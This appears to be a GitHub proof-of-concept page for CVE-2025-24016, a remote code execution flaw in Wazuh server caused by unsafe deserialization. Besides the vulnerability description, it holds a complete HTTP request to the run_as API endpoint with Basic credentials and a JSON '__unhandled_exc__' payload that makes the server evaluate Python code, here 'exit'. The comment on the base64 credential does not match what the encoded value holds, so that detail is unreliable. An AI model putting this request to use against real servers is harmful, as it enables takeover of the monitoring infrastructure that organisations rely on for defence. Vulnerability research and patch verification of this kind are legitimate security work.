CVE-2025-24016 PoC — Remote code execution in Wazuh server

Source

Associated Vulnerability

Description

CVE-2025-24016

Readme

# CVE-2025-24016 Wazuh Remote Code Execution (RCE) - PoC 🚨

# Description:

Wazuh is a free and open source platform used for threat prevention, detection, and response. Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability allows for remote code execution on Wazuh servers. DistributedAPI parameters are a serialized as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`). If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code. The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or, in certain configurations, even by a compromised agent. Version 4.9.1 contains a fix.


# Metrics:

CNA:  `GitHub`, Inc. Base Score: 9.9 CRITICAL ⚫ Vector:  CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H

# Proof of Concept:

To trigger this vulnerability using the server API, follow the steps below.

# PoC Burp Suite Request:

1. Burp Suite Request to Trigger the Vulnerability:

```
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==  # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83

{
  "__unhandled_exc__": {
    "__class__": "exit",
    "__args__": []
  }
}
```
![image alt](https://github.com/B1ack4sh/Blackash-CVE-2025-24016/blob/main/wazuh%20rce.png?raw=true)

2. Explanation of Request:

+ Authorization Header: This is the base64-encoded authorization (`wazuh-wui:MyS3cr37P450r.*-`).
+ Payload: The malicious payload contains the unsanitized exception `__unhandled_exc__` which triggers the execution of arbitrary Python code (`exit` in this case).

# Disclaimer ⚠️

For educational and research purposes only. Use only against systems you own or have permission to test.

File Snapshot

 [4.0K]  /data/pocs/0f52f4df57aa660d70d546a637e4531cb1857322
├── [6.0K]  CVE-2025-24016.py
├── [2.2K]  README.md
├── [  51]  requirements.txt
└── [271K]  wazuh rce.png

0 directories, 4 files

Remarks